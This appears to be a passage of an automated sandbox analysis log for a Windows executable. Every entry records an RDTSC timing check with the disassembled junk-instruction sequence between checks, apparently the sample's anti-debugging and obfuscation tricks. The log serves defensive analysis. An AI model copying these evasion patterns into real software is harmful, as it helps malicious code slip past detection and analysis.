Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B2032 second address: 5B2057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F40B515FC06h 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e jnl 00007F40B515FBF6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550B55 second address: 550B6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B477E791h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B4177 second address: 5B417C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8A49 second address: 5B8A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F40B477E786h 0x0000000a jne 00007F40B477E786h 0x00000010 popad 0x00000011 jnc 00007F40B477E78Eh 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 jns 00007F40B477E788h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9295 second address: 5B929C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9545 second address: 5B954F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F40B477E792h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B954F second address: 5B9575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F40B515FBF6h 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007F40B515FBFDh 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jc 00007F40B515FC14h 0x0000001b push ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B96FD second address: 5B9707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9707 second address: 5B971D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jo 00007F40B515FBF8h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B99D5 second address: 5B99DF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F40B477E786h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9B4C second address: 5B9B77 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F40B515FC07h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnc 00007F40B515FBF8h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9B77 second address: 5B9B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9B7B second address: 5B9B7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9B7F second address: 5B9B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F40B477E786h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007F40B477E78Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9B97 second address: 5B9BA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jng 00007F40B515FBF6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9BA3 second address: 5B9BA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BDECA second address: 5BDED2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BDED2 second address: 5BDEE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F40B477E786h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F40B477E78Eh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE068 second address: 5BE06E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE06E second address: 5BE07A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F40B477E78Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE07A second address: 5BE0B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F40B515FC01h 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F40B515FBFBh 0x00000013 jbe 00007F40B515FBF6h 0x00000019 popad 0x0000001a jmp 00007F40B515FBFFh 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE0B8 second address: 5BE0CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jnp 00007F40B477E786h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE0CA second address: 5BE0D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE217 second address: 5BE223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F40B477E786h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE987 second address: 5BE993 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F40B515FBF6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56E9B6 second address: 56E9BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56E9BB second address: 56E9CD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F40B515FBF8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56E9CD second address: 56E9D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56E9D3 second address: 56E9D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56E9D7 second address: 56E9E3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 js 00007F40B477E786h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BF418 second address: 5BF438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 jns 00007F40B515FBF6h 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 jmp 00007F40B515FBFCh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3B7A second address: 5C3B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F40B477E795h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3CBD second address: 5C3CC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3DFC second address: 5C3E10 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F40B477E786h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F40B477E786h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3E10 second address: 5C3E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3E14 second address: 5C3E1E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F40B477E786h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C42EB second address: 5C42F7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3865 second address: 5C3869 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3869 second address: 5C3875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3875 second address: 5C387F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F40B477E786h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C387F second address: 5C3885 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4AD4 second address: 5C4ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4ADA second address: 5C4AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F40B515FC07h 0x0000000a jmp 00007F40B515FBFBh 0x0000000f jnl 00007F40B515FBF6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58FE23 second address: 58FE32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B477E78Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58FE32 second address: 56DF43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F40B515FBF8h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 add dword ptr [ebp+124567D7h], ebx 0x0000002b lea eax, dword ptr [ebp+12484B49h] 0x00000031 mov dword ptr [ebp+122D3709h], ebx 0x00000037 nop 0x00000038 ja 00007F40B515FC10h 0x0000003e push eax 0x0000003f jns 00007F40B515FC04h 0x00000045 nop 0x00000046 mov dword ptr [ebp+1244F1DBh], edi 0x0000004c call dword ptr [ebp+122D1F3Ah] 0x00000052 push eax 0x00000053 push ebx 0x00000054 jne 00007F40B515FBF6h 0x0000005a pop ebx 0x0000005b push esi 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58FFD0 second address: 58FFD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5904EF second address: 5904F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5904F3 second address: 5904F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59064B second address: 590651 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590651 second address: 590657 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590657 second address: 59065B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5907C3 second address: 5907C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590A43 second address: 590A55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F40B515FBFCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590A55 second address: 590A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 591282 second address: 5912A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FC07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5912A4 second address: 5912C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E798h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5912C0 second address: 56E9B6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F40B515FBF8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov cx, A2ACh 0x0000000f call dword ptr [ebp+122D1EF3h] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jnl 00007F40B515FBF6h 0x0000001e jmp 00007F40B515FC06h 0x00000023 jl 00007F40B515FBF6h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9659 second address: 5C966B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F40B477E786h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C966B second address: 5C9680 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F40B515FBF6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d js 00007F40B515FBF6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9680 second address: 5C9686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C990D second address: 5C9916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9916 second address: 5C991C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C991C second address: 5C9920 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9A7C second address: 5C9A8C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F40B477E786h 0x00000008 je 00007F40B477E786h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9A8C second address: 5C9A92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D32EC second address: 5D330D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B477E799h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D330D second address: 5D3312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3312 second address: 5D331E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 545126 second address: 545132 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F40B515FBFEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2E19 second address: 5D2E3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E796h 0x00000007 push edx 0x00000008 jno 00007F40B477E786h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2FC4 second address: 5D2FC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2FC9 second address: 5D2FD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F40B477E786h 0x0000000a jns 00007F40B477E786h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2FD9 second address: 5D2FF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FC08h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2FF5 second address: 5D3005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jnc 00007F40B477E786h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5B59 second address: 5D5B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC17E second address: 5DC192 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F40B477E786h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC192 second address: 5DC19A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC19A second address: 5DC19F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC19F second address: 5DC1A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC1A5 second address: 5DC1AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F40B477E786h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DBB8F second address: 5DBBB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push esi 0x00000007 jbe 00007F40B515FC13h 0x0000000d jmp 00007F40B515FC07h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E18D4 second address: 5E18EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F40B477E790h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E18EA second address: 5E18FF instructions: 0x00000000 rdtsc 0x00000002 js 00007F40B515FBFCh 0x00000008 jc 00007F40B515FBF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E18FF second address: 5E1908 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1908 second address: 5E190E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E07F6 second address: 5E0808 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F40B477E786h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F40B477E786h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0808 second address: 5E080C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0962 second address: 5E0989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40B477E78Eh 0x00000009 jmp 00007F40B477E795h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590BF6 second address: 590BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590BFA second address: 590CA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E78Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F40B477E79Dh 0x0000000f popad 0x00000010 push eax 0x00000011 push ebx 0x00000012 jmp 00007F40B477E78Fh 0x00000017 pop ebx 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F40B477E788h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 jmp 00007F40B477E793h 0x00000038 mov ebx, dword ptr [ebp+12484B88h] 0x0000003e push 00000000h 0x00000040 push eax 0x00000041 call 00007F40B477E788h 0x00000046 pop eax 0x00000047 mov dword ptr [esp+04h], eax 0x0000004b add dword ptr [esp+04h], 00000015h 0x00000053 inc eax 0x00000054 push eax 0x00000055 ret 0x00000056 pop eax 0x00000057 ret 0x00000058 add eax, ebx 0x0000005a or cx, B08Bh 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 jne 00007F40B477E788h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590CA8 second address: 590CB2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F40B515FBFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
